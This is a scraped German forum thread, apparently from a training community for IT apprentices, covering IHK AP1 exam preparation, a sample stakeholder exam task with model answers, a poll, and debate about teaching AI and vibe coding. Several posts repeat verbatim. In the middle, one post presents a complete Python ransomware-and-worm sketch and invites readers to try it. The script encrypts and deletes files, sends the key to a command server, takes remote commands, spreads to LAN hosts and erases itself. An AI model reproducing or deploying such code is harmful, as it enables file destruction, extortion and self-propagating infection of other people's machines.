hellerKopf

Gute Entscheidung

Konkret mal AP1 2025 FJ Aufgabe 4 ansehen.

Einmal KURZ als AG: ich persönlich pfeiffe auf Zertifikate, exakt aus diesem Grund. Ich verschaff mir immer einen persönlichen Eindruck.
Nenn mir den Abschluß und ich weiss wie ich den ohne jede Übung erlangen kann. Egal ob Lenovo, Cisco, MS etc .... diese ganzen Zerts ( die in Prüfcentern abgelegt werden ) können gefakt sein.

Crossover aus dem KI Thema.

Erstmal einem chatBot die Besonderheit der IHK Frageformulierung beibringen.
Dann den offiziellen Fragenkatalog einlesen.
Formulierung von Musterantworten antrainieren.

Und dann kann man nach Beispielaufgaben fragen.

Aber eigentlich geht das auch ohne den Aufwand.

Hier ist eine IHK AP1-konforme Prüfungsaufgabe zum Thema Stakeholder, eingebettet in ein praxisnahes IT-Szenario.
Bezug zum Themenplan: „Konzeption“, „Prozesse analysieren“, „kundenspezifische Anpassungen“, „Qualitätssicherung“.

Ausgangssituation
Ein mittelständisches Unternehmen möchte eine neue Softwarelösung entwickeln lassen, mit der E-Mails von einem IMAP-Server automatisiert abgerufen, kategorisiert (z. B. TEXT, HTML) und archiviert werden.
Die Software soll in die bestehende IT-Systemarchitektur integriert werden und von mehreren Abteilungen genutzt werden. Zusätzlich müssen gesetzliche Aufbewahrungsfristen eingehalten werden.
Aufgaben (Gesamt: 12 Punkte)
a) Begriffserklärung (2 Punkte)
Erklären Sie den Begriff Stakeholder im Projektmanagement.
b) Identifikation von Stakeholdern (4 Punkte)
Nennen Sie vier mögliche Stakeholder in dem beschriebenen Projekt und erläutern Sie jeweils kurz deren Interesse an der Softwarelösung.
c) Stakeholderanalyse (4 Punkte)
Wählen Sie zwei der genannten Stakeholder aus und beschreiben Sie:
deren möglichen Einfluss auf das Projekt
mögliche Erwartungen oder Anforderungen an das Projekt
d) Bedeutung für die Projektplanung (2 Punkte)
Erläutern Sie, warum eine frühzeitige Stakeholderanalyse für den Projekterfolg wichtig ist.
Erwartungshorizont / Musterlösung
a) Begriffserklärung (2 Punkte)
Stakeholder sind alle Personen, Gruppen oder Organisationen, die ein Interesse am Projekt haben oder von dessen Durchführung bzw. Ergebnis betroffen sind.
(2 P – Definition vollständig und korrekt)
b) Identifikation von Stakeholdern (je 1 P pro Stakeholder + Interesse = 4 Punkte)
Mögliche Stakeholder:
Geschäftsführung – erwartet Effizienzsteigerung und Rechtssicherheit
IT-Abteilung – verantwortlich für Integration, Wartung und Sicherheit
Fachabteilungen (z. B. Vertrieb, Support) – nutzen die Software im Tagesgeschäft
Datenschutzbeauftragter – achtet auf DSGVO-Konformität
Externer Softwaredienstleister – verantwortlich für Entwicklung
Systemadministrator – betreut Server und Infrastruktur
(Pro vollständig benanntem Stakeholder mit korrektem Interesse: 1 Punkt)
c) Analyse von zwei Stakeholdern (je 2 Punkte = 4 Punkte)
Beispiel:
IT-Abteilung:
Einfluss: Hoch, da technische Umsetzung und Integration geprüft werden.
Erwartung: Kompatibilität mit bestehender Systemarchitektur, geringe Wartungskosten.
Datenschutzbeauftragter:
Einfluss: Mittel bis hoch (Freigabe erforderlich).
Erwartung: Einhaltung gesetzlicher Vorgaben, sichere Speicherung personenbezogener Daten.
(Pro Stakeholder: 1 P Einfluss + 1 P Erwartung)
d) Bedeutung der Stakeholderanalyse (2 Punkte)
Frühzeitige Identifikation von Anforderungen
Vermeidung von Konflikten
Erhöhung der Akzeptanz
Reduzierung von Projektrisiken
Sicherstellung der Zielerreichung
(2 Punkte bei zwei zutreffenden Aspekten)

Du kannst viele Durchführungsarten bei den verschiedenen Anbietern finden.
Und du findest sehr unterschiedliche Unterrichtsqualität beim selben Anbieter.

Neben der Stundplangestaltung (Blöcke in Wochen, Wechsel in 90 Minutentakt usw. )
ist das Hauptproblem die Befähigung der Dozenten und deren häufiger Wechsel.

Der ideale Anbieter sorgt für eine kontinuierliche Betreuung durch einen guten Dozenten im ganzen Thema oder Lernfeld.
Aber den gibt es kaum.

Einige Anbieter meine Präsenz ist, dass die Teilnehmer zwar in die Büros des Anbeiters kommen, aber da Teleunterricht erhalten.
Wenn das schon so ist, sollten wenigsten die Räume entsprechend sein und keine gemischten Gruppen.

Meinst du, wir kommentieren hier ausgiebig Proof-of-Concept oder Lernbeispiele für einfache Malware-Strukturen, die noch nicht mal anlaufen.
Jeder Gymnasiast mit Informatik-Grundkurs hätte das ohne KI besser machen können.

Seit dem der Katalog geändert wurden ist stehen 2 x ki Themen drauf die geprüft werden. Eine Argumentation das man es dann nicht lehren sollte ist finde ich somit hinfällig. Es sollte zumindest das gelehrt werden was von der IHK geprüft wird . Ja ich weiß das ist sehr naiv aber ich finde das sollte so sein.

Der Themenkatalog hat Inhalte, die für 16 Stunden Prüfung ausreichen.
Ist doch klar, dass immer nur eine Auswahl berücksichtigt werden kann.
Dann gibt es typische Kernfragen, die immer wieder kommen und solche, die selten sind.

Es macht Sinn die alten Bögen zu kennen, damit man die Form und Formulierung der Fragen kennt.
Bisher gab es weniger als 10 AP1 Prüfungen. Daher sind Schwerpunkte daraus kaum abzuleiten.
Es gab aber Jahrzehnte vorher schon Prüfungen, deren Themen immer noch aktuell sind.

Also: Vorbereitet sein, sollte man auf den ganzen Katalog.
Alte Prüfung sind sehr gut, es kann aber auch mal was ganz neues kommen.

Hier ein vibe codeing, bitte ausprobieren
import os
import platform
import threading
import shutil
import tempfile
import random
import string
import atexit
import socket
from cryptography.fernet import Fernet

# Server-Adresse und Port
server_address = 'example.com'
server_port = 8080

def generate_key():
    # Generiere einen Schlüssel für die Verschlüsselung
    key = Fernet.generate_key()
    return key

def encrypt_data(key, data):
    # Verschlüssle die Daten
    cipher_suite = Fernet(key)
    encrypted_data = cipher_suite.encrypt(data)
    return encrypted_data

def connect_to_server():
    # Verbinde mit dem Server
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((server_address, server_port))
        return sock
    except Exception as e:
        print(f"Fehler beim Verbinden mit dem Server: {e}")
        return None

def send_data(sock, data):
    # Sende Daten an den Server
    try:
        sock.sendall(data)
    except Exception as e:
        print(f"Fehler beim Senden von Daten: {e}")

def receive_data(sock):
    # Empfange Daten vom Server
    try:
        data = sock.recv(1024)
        return data
    except Exception as e:
        print(f"Fehler beim Empfangen von Daten: {e}")
        return None

def spread():
    # Versuche, das Programm auf anderen Systemen zu verbreiten
    try:
        # Liste von möglichen Ziel-Systemen
        targets = ['192.168.1.1', '192.168.1.2', '192.168.1.3']
        for target in targets:
            # Versuche, eine Verbindung zum Ziel-System herzustellen
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target, 8080))
            # Sende das Programm an das Ziel-System
            with open(__file__, 'rb') as f:
                data = f.read()
            sock.sendall(data)
            sock.close()
    except Exception as e:
        print(f"Fehler beim Verbreiten des Programms: {e}")

def hide_program():
    # Verstecke das Programm
    try:
        # Erstelle einen temporären Ordner
        temp_dir = tempfile.mkdtemp()
        # Kopiere das Programm in den temporären Ordner
        shutil.copy(__file__, temp_dir)
        # Ändere den Namen des Programms
        new_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
        os.rename(os.path.join(temp_dir, os.path.basename(__file__)), os.path.join(temp_dir, new_name))
        # Lösche das Original-Programm
        os.remove(__file__)
        # Registriere die Löschfunktion für den temporären Ordner
        atexit.register(lambda: shutil.rmtree(temp_dir, ignore_errors=True))
    except Exception as e:
        print(f"Fehler beim Verstecken des Programms: {e}")

def encrypt_system(key):
    # Verschlüssle die Daten auf dem System
    try:
        # Liste von Dateien, die verschlüsselt werden sollen
        files = ['/path/to/file1.txt', '/path/to/file2.txt']
        for file in files:
            with open(file, 'rb') as f:
                data = f.read()
            encrypted_data = encrypt_data(key, data)
            with open(file + '.enc', 'wb') as f:
                f.write(encrypted_data)
            os.remove(file)
    except Exception as e:
        print(f"Fehler beim Verschlüsseln der Daten: {e}")

def main():
    # Generiere einen Schlüssel für die Verschlüsselung
    key = generate_key()

    # Verschlüssle die Daten auf dem System
    encrypt_system(key)

    # Verbinde mit dem Server
    sock = connect_to_server()
    if sock is None:
        return

    # Sende den Schlüssel an den Server
    send_data(sock, key)

    # Empfange Befehle vom Server
    while True:
        data = receive_data(sock)
        if data is None:
            break
        if data == b'spread':
            # Versuche, das Programm auf anderen Systemen zu verbreiten
            threading.Thread(target=spread).start()
        elif data == b'exit':
            # Beende das Programm
            break

    # Verstecke das Programm
    hide_program()

    # Schließe die Verbindung
    sock.close()

if name == "__main__":
    main()

Hmmm wenn ich überlege wie viel Schrott in der Ausbildung so gemacht wird sehe ich definitiv kein Zeit Problem...

Das kann so verstanden werden.

Mit etwas Nachbessern der Formulierungen kann man es aber tauglcih machen.

Ein Model-Serving-Framework ist keine KI-Anwendung, sondern Runtime-Infrastruktur für bereits trainierte Modelle.
Und Bereitstellung, Absicherung und Betrieb einer Plattform ist ein klassische FISI Thema

Ich würde dem Text hinzufügen:
Gegenstand des Projektes ist nicht die Entwicklung oder das Training von KI-Modellen, sondern die Auswahl, Bereitstellung und der sichere Betrieb einer Model-Serving-Infrastruktur als Laufzeitumgebung innerhalb der bestehenden IT-Infrastruktur.

Vergleich und Auswahl eines Model-Serving-Frameworks als Laufzeitumgebung für vortrainierte KI-Modelle, unter Berücksichtigung von:
Administrierbarkeit
Hardware- und Ressourcenanforderungen
Integrationsfähigkeit in bestehende Systeme
Lizenz- und Betriebskosten

(!) Nimm die Info, dass Cloud schon ausgeschlossen wird ganz raus.
Vielleicht sollte man auch den LINUX Server noch nicht erwähnen.

Damit sind deine eigenen fachlichen Entscheidungen
Analyse und Bewertung möglicher Lösungsansätze (z. B. cloudbasierte Dienste vs. lokaler Betrieb),
Vergleich und Auswahl eines geeigneten Model-Serving-Frameworks als Runtime-Komponente für vortrainierte KI-Modelle anhand technischer, organisatorischer und wirtschaftlicher Kriterien,
Festlegung der Server- und Systemarchitektur auf Basis eines Linux-Servers,
Konzeption eines Sicherheits- und Zugriffskonzeptes unter Berücksichtigung der Datenschutzanforderungen,
Definition messbarer Kriterien zur Bewertung der Zielerreichung.

Auf alle Fälle wäre es höchst interessant, die Reaktion der Kölner IHK zu testen.

Leider ist die Stichprobe noch viel zu klein, um verallgemeinernd auf typisches Gruppenverhalten zu schließen.
Trotzdem erfüllt die Verteilung jetzt schon meine Erwartungen.

Ich bitte alle Forenmitglieder nicht auf diesen Passus zu reagieren. Sonst geht das Thema unter.
Sagt einer, der geboren wurde, als man in Deutschland begonnen hat, Punkte für Verkehrssünder in ein Zentralregister einzutragen.

Ich schließe mich da an.
Vibe Coding ist nichts für die ersten 18 Monate.
Aber nach Erreichen der Grundlagen, in den vertiefenden Fachmodulen, müsste es doch Platz haben.

ist das nicht auch so, wenn einfach Code aus Stackoverflow kopiert wird?
Und würde ein strukturierter Unterricht zur Fehlermöglichkeit in KI/LLM die Situation nicht verbessern?

In einem anderen Thread habe ich gefordert:

Ich nutze KI als Werkzeug – nicht als Denkprothese.
Nein zu KI als Ersatz für Grundlagen

Ohne einen didaktischen Ansatz bleibt aber doch genau der Grauzonengebrauch.

Künstliche Intelligenz wird zunehmend als zentrale Zukunftstechnologie der IT dargestellt.
Doch stellt sich die Frage, ob eine spezielle KI-Ausbildung für Fachinformatiker tatsächlich notwendig ist – oder ob solide IT-Grundlagen weiterhin ausreichen.
Ziel dieser Umfrage ist es zu untersuchen, ob sich die Einschätzungen je nach Rolle und Erfahrung unterscheiden, insbesondere bei Arbeitgebern, Ausbildern, Auszubildenden und berufserfahrenen Fachinformatikern.
Bitte beantworten Sie die folgenden Fragen kurz und aus Ihrer aktuellen Rolle heraus.
Die klare Ja/Nein-Struktur ist bewusst gewählt, um eine aussagekräftige Auswertung zu ermöglichen.

Genau das ist es und hier liegt der Hund begraben. Wenn ich bspw. KI nutze (im AE) Bereich, dann sehe ich auf einen Blick ob der Code Sicherheitslücken hat oder anderweitig einfach schlecht ist (Verletzung von Designprinzipien usw.). Ein Anfänger hingegen hat davon keine Ahnung und übernimmt den Code 1:1, da er ja evtl. den richtigen Output liefert.
In meinen Klassen sehe ich es auch immer häufiger wie von Anfang an LLM Anfragen für alles verwendet wird aber die Grundlagen einfach nicht da sind und das ist tödlich.

Vibe Coding schön und gut (ich liebe es mittlerweile auch) aber ich nutze es nur dort, wo ich sehr firm bin.

Wie nebenan geschrieben: Die Grundlagen müssen rock-solid sitzen um am besten Gebrauch von KI machen zu können. Aber dann müssen Auszubildende auch gezielt im KI-Gebrauch angeleitet werden.

Der Themenkatalog hat Inhalte, die für 16 Stunden Prüfung ausreichen.
Ist doch klar, dass immer nur eine Auswahl berücksichtigt werden kann.
Dann gibt es typische Kernfragen, die immer wieder kommen und solche, die selten sind.

Es macht Sinn die alten Bögen zu kennen, damit man die Form und Formulierung der Fragen kennt.
Bisher gab es weniger als 10 AP1 Prüfungen. Daher sind Schwerpunkte daraus kaum abzuleiten.
Es gab aber Jahrzehnte vorher schon Prüfungen, deren Themen immer noch aktuell sind.

Also: Vorbereitet sein, sollte man auf den ganzen Katalog.
Alte Prüfung sind sehr gut, es kann aber auch mal was ganz neues kommen.

Das kann so verstanden werden.

Mit etwas Nachbessern der Formulierungen kann man es aber tauglcih machen.

Ein Model-Serving-Framework ist keine KI-Anwendung, sondern Runtime-Infrastruktur für bereits trainierte Modelle.
Und Bereitstellung, Absicherung und Betrieb einer Plattform ist ein klassische FISI Thema

Ich würde dem Text hinzufügen:
Gegenstand des Projektes ist nicht die Entwicklung oder das Training von KI-Modellen, sondern die Auswahl, Bereitstellung und der sichere Betrieb einer Model-Serving-Infrastruktur als Laufzeitumgebung innerhalb der bestehenden IT-Infrastruktur.

Vergleich und Auswahl eines Model-Serving-Frameworks als Laufzeitumgebung für vortrainierte KI-Modelle, unter Berücksichtigung von:
Administrierbarkeit
Hardware- und Ressourcenanforderungen
Integrationsfähigkeit in bestehende Systeme
Lizenz- und Betriebskosten

(!) Nimm die Info, dass Cloud schon ausgeschlossen wird ganz raus.
Vielleicht sollte man auch den LINUX Server noch nicht erwähnen.

Damit sind deine eigenen fachlichen Entscheidungen
Analyse und Bewertung möglicher Lösungsansätze (z. B. cloudbasierte Dienste vs. lokaler Betrieb),
Vergleich und Auswahl eines geeigneten Model-Serving-Frameworks als Runtime-Komponente für vortrainierte KI-Modelle anhand technischer, organisatorischer und wirtschaftlicher Kriterien,
Festlegung der Server- und Systemarchitektur auf Basis eines Linux-Servers,
Konzeption eines Sicherheits- und Zugriffskonzeptes unter Berücksichtigung der Datenschutzanforderungen,
Definition messbarer Kriterien zur Bewertung der Zielerreichung.

Auf alle Fälle wäre es höchst interessant, die Reaktion der Kölner IHK zu testen.

Eine klare Haltung, danke.
Dann mach ich mal für die Statistik einen Eintrag in der Sparte Berufserfahren
(die anderen sind AG, Azubi, Ausbilder)

KI an Hochschulen Daumen hoch
KI im Fachinformatikerunterricht eher nicht.

Vielleicht mache ich hier daraus auch nochmal eine Umfrage.

Eine klare Haltung, danke.
Dann mach ich mal für die Statistik einen Eintrag in der Sparte Berufserfahren
(die anderen sind AG, Azubi, Ausbilder)

KI an Hochschulen Daumen hoch
KI im Fachinformatikerunterricht eher nicht.

Vielleicht mache ich hier daraus auch nochmal eine Umfrage.

@Morrigan und @Schliepi
Ich würde euere beiden Beiträge gerne zusammenfassen und daraus ableiten:

Die Notwendigkeit KI/LLM zum Ausbildungsthema zu machen, ist unbestritten.

Die Unterscheidung findet anhand der angestrebten Ziele statt.
Nicht jeder muss Data Scientist werden. Forschen und Entwickleln von KI ist ein universitärer Vorgang.

Für eine Fachausbildung ist KI kein Selbstzweck, sondern:
die Fähigkeit, datengetriebene Systeme zu verstehen, zu beurteilen, sinnvoll einzusetzen
Niemand sollte KI als Blackbox konsumieren, wenn er später Systeme verantwortet, integriert oder bewertet.

Damit mache ich eine Unterscheidung in Pflicht, Vertiefung und nicht sinnvoll in der Fachinformatikerausbildung.
Pflicht: konzeptionelles Verständnis + einfache Implementierungen
Vertiefung: Wahlmodule / Projektarbeiten
Nicht sinnvoll: mathematische Ableitungen auf Hochschulniveau

„Ich kann erklären, warum ein Modell funktioniert, wo es scheitert und wann ich es nicht einsetzen darf.“

Prompting ist schnell erlernbar und nicht nachhaltig. Es ist keine Fachkompetenz, sondern Bedienkompetenz, vergleichbar mit „gut googeln“ -> Ich nutze KI als Werkzeug – nicht als Denkprothese.

Wichtig ist mir die Vermittlung von Bewertungskompetenz, Recht & Ethik
Wann ist KI ungeeignet?
Was sind Risiken?
Was passiert bei falschen Daten?
Datenschutz ( ein neues Betätigungsfeld für @charmanta )
Verantwortlichkeit bei Automatisierte Entscheidungen

Vertiefend, je nach Fachrichtung kommt noch dazu:
Anwendungsentwicklung mit einfache ML-Modelle selbst trainieren und APIs kritisch integrieren
Systemintegration mit Betrieb, Monitoring, Kosten, Sicherheit

Da sehe ich eine Menge Arbeit auf die Kommissionen und Ausbildungsstätten zukommen, dies in die jeweiligen Lernfelder einzubauen.

Beispiel:
LF 3 – Clients in Netzwerke einbinden
KI-Bezug:
Netzwerkabhängigkeit KI-basierter Systeme
Inhalte:
Datenfluss:
Client → Cloud-KI → Rückgabe
Sicherheitsaspekte:
API-Keys
Logging
Latenz, Verfügbarkeit

Sorry, ist etwas länger eworden.
Aber ich denke, wenn man jetzt nicht anfängt darüber nachzudenken, dann fährt der Zug ohne uns.

Mein Verständnis von KI-Skills
ist idealerweise eine fundierte Ausbildung -- etwa im Bereich Data Science oder Machine Learning -- sowie die Fähigkeit, sowohl mit klassischen ML-Verfahren als auch mit künstlichen neuronalen Netzen eigenständig Modelle zu entwickeln. Dazu gehört ebenso, diese Systeme für konkrete Anwendungsfälle zu optimieren, kritisch zu evaluieren und nachhaltig in bestehende Prozesse zu integrieren.
Was häufig als KI-Skills bezeichnet wird
ist die Nutzung eines vorgefertigten Systems, welches -- nicht selten von externen Anbietern -- über eine einfache Eingabemaske oder Schnittstelle bereitgestellt wird. Manche fühlen sich bereits dann als Experten, wenn sie glauben, Anfragen besonders geschickt formulieren zu können (Prompting). Eine andere Variante besteht darin, fertige Modelle herunterzuladen und einzubinden, ohne deren Funktionsweise wirklich zu verstehen. Dies in der Hoffnung, dass bei der Integration in Geschäftsprozesse und Entwicklungsprozessen schon nichts schiefgehen wird.
Nach meiner Einschätzung lässt sich dieses oberflächliche Niveau an Kompetenz innerhalb weniger Tage erreichen. Es spricht nichts dagegen, solche Werkzeuge in Ausbildung und Studium einzusetzen. Mit echter fachlicher Kompetenz oder nachhaltigem Skill-Aufbau hat das aus meiner Sicht jedoch nur begrenzt zu tun. Die Wahrscheinlichkeit ist recht hoch, dass die Person am Ende weder eigene Fähigkeiten hat, noch diese Systeme sinnvoll einsetzen kann. Die Leute, deren Mehrwert nur daraus besteht von ChatGPT und Co. zu copy&pasten, sind die ersten, für die es später keinen Platz mehr geben wird.

Werte aus USA zu Anforderungen von KI Skills in Stellenausschreibungen:

Quelle / Studie Kontext Anteil Tech/IT-Jobs mit KI-Skills
AI Workforce Consortium (G7, 2024–25) breit IT/IKT 78 %
Dice Tech Report (US, 2025) US Tech-Jobs ~50 %
Tech Job Scan (mehrere Analysen) Tech/IT ~19–25 %
Anteil von IT-/Tech-Stellenanzeigen mit KI-Skills
Hohe Anteile in IT-Jobs (G7-Studie)
Laut einer Auswertung des AI Workforce Consortium (Daten aus Cornerstone & Indeed, Juli 2024–Juni 2025) fordern 78 % aller IT-Jobanzeigen explizit KI-Kenntnisse. Diese Studie betrachtet IT- und IKT-Berufe in den G7-Ländern (Kanada, Frankreich, Deutschland, Italien, Japan, UK, USA) und zeigt, dass KI-Skills bereits heute in der Mehrheit der Tech-Jobs verlangt werden.
„50 % der Tech-Jobs verlangen KI-Skills“
In einem US-Tech-Job-Report für 2025 wurde festgestellt, dass rund 50 % aller Tech-Stellenanzeigen in den USA KI-Skills als Anforderung listen (Stand September 2025, Daten aus Jobs-Reports).

Und in Deutschland gibt es kaum eine Erhebung dieser Daten
IAB Discussion Paper (Interview-Analyse)
Das IAB-Discussion Paper untersucht anhand von Stellenausschreibungsdaten der Bundesagentur für Arbeit den Anteil von KI-bezogenen Ausschreibungen, definiert als Jobs, die „Kompetenzen zur Nutzung oder Entwicklung von KI-Technologien“ verlangen.
Ergebnis: Die Gesamtanteile sind noch relativ niedrig, was auf eine frühe Phase der KI-Adoption im Arbeitsmarkt hindeutet.

Leider liefern die meisten öffentlich verfügbaren deutschen Quellen derzeit keine präzisen Prozentzahlen exklusiv für IT-/Tech-Jobmärkte. Allerdings zeigen die Index-Kompetenzmonitor-Daten eindeutig, dass:
KI-Skills in deutschen IT-/IKT-Stellenanzeigen deutlich häufiger vorkommen als im Gesamtmarkt; dort ist der Anteil der KI-Anforderungen oft deutlich höher als der branchenübergreifende Durchschnitt von ca. 2,5–3 % aller Anzeigen.

Kaum verwunderlich.

Was meint Ihr?
Einfach noch abwarten, oder werden wir hier auch wieder den Zug verpassen?